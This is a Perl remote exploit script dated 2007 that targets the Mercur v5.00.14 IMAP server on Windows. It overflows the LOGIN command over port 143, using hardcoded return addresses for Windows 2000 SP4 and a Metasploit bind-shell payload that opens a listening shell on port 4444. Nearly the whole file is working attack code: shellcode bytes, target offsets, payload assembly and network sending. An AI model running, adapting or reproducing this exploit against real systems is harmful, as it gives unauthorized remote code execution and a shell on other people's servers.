#!/usr/bin/perl
#
# mercur-v2.pl
#
# Mercur v5.00.14 (win32) remote exploit
# by mu-b - Jan 2007
#
# - Tested on: Mercur v5.00.14 (win32)
#
# we don't have much space so we exploit the recv loop
# to put shellcode on the stack (hence deterministic)
# and use a calc+jmp shell..
#
########

use Getopt::Std; getopts('t:n:', \%arg);
use Socket;

# metasploit win32 bindshell port 4444
# badchars: 0x00 0x20 0x22 0x3a 0x3b 0x3e 0x0a 0x0d
my $zshell_win32_bind =
  "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x82".
  "\xc9\xc8\x3d\x83\xeb\xfc\xe2\xf4\x7e\xa3\x23\x70\x6a\x30\x37\xc2".
  "\x7d\xa9\x43\x51\xa6\xed\x43\x78\xbe\x42\xb4\x38\xfa\xc8\x27\xb6".
  "\xcd\xd1\x43\x62\xa2\xc8\x23\x74\x09\xfd\x43\x3c\x6c\xf8\x08\xa4".
  "\x2e\x4d\x08\x49\x85\x08\x02\x30\x83\x0b\x23\xc9\xb9\x9d\xec\x15".
  "\xf7\x2c\x43\x62\xa6\xc8\x23\x5b\x09\xc5\x83\xb6\xdd\xd5\xc9\xd6".
  "\x81\xe5\x43\xb4\xee\xed\xd4\x5c\x41\xf8\x13\x59\x09\x8a\xf8\xb6".
  "\xc2\xc5\x43\x4d\x9e\x64\x43\x7d\x8a\x97\xa0\xb3\xcc\xc7\x24\x6d".
  "\x7d\x1f\xae\x6e\xe4\xa1\xfb\x0f\xea\xbe\xbb\x0f\xdd\x9d\x37\xed".
  "\xea\x02\x25\xc1\xb9\x99\x37\xeb\xdd\x40\x2d\x5b\x03\x24\xc0\x3f".
  "\xd7\xa3\xca\xc2\x52\xa1\x11\x34\x77\x64\x9f\xc2\x54\x9a\x9b\x6e".
  "\xd1\x9a\x8b\x6e\xc1\x9a\x37\xed\xe4\xa1\xd9\x61\xe4\x9a\x41\xdc".
  "\x17\xa1\x6c\x27\xf2\x0e\x9f\xc2\x54\xa3\xd8\x6c\xd7\x36\x18\x55".
  "\x26\x64\xe6\xd4\xd5\x36\x1e\x6e\xd7\x36\x18\x55\x67\x80\x4e\x74".
  "\xd5\x36\x1e\x6d\xd6\x9d\x9d\xc2\x52\x5a\xa0\xda\xfb\x0f\xb1\x6a".
  "\x7d\x1f\x9d\xc2\x52\xaf\xa2\x59\xe4\xa1\xab\x50\x0b\x2c\xa2\x6d".
  "\xdb\xe0\x04\xb4\x65\xa3\x8c\xb4\x60\xf8\x08\xce\x28\x37\x8a\x10".
  "\x7c\x8b\xe4\xae\x0f\xb3\xf0\x96\x29\x62\xa0\x4f\x7c\x7a\xde\xc2".
  "\xf7\x8d\x37\xeb\xd9\x9e\x9a\x6c\xd3\x98\xa2\x3c\xd3\x98\x9d\x6c".
  "\x7d\x19\xa0\x90\x5b\xcc\x06\x6e\x7d\x1f\xa2\xc2\x7d\xfe\x37\xed".
  "\x09\x9e\x34\xbe\x46\xad\x37\xeb\xd0\x36\x18\x55\x6d\x07\x28\x5d".
  "\xd1\x36\x1e\xc2\x52\xc9\xc8\x3d";

my $zshell_calc_jump =
  "\x89\xe0".                     # mov    %esp, %eax
  "\x05\x5c\xe1\xff\xff".         # add    $0xffffe15c, %eax
  "\xff\xe0";                     # jmp    *%eax

# ff e4 -> jmp %esp
my @offsets = ( "\x63\xee\xfd\x74", # Win2k Server SP4
                "\xcc\x33\x3f\x77",
                "\xef\xbe\xad\xde"  # DoS
              );

&print_header;

my $target;
my $offset;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (defined($arg{'n'})) { $offset = $arg{'n'} }
if (!(defined($target))) { &usage; }
if (!(defined($offset))) { $offset = 0; }
if ($offset > $#offsets) {
    print("only ".($#offsets+1)." targets known!!\n");
    exit(1);
} else {
    $offset = $offsets[$offset];
}

my $imapd_port = 143;
my $send_delay = 1;

my $NOP = 'A';

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");

    print("-> * Sending payload\n");
    $buf = "1 LOGIN".
           "\@".
           ($NOP x 136).
           "\xad\xde\xe1\xfe".
           $offset.
           $zshell_calc_jump.
           "\r\n".
           $zshell_win32_bind;

    send(SOCKET, $buf."\r\n", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("Mercur v5.00.14 (win32) remote exploit\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}
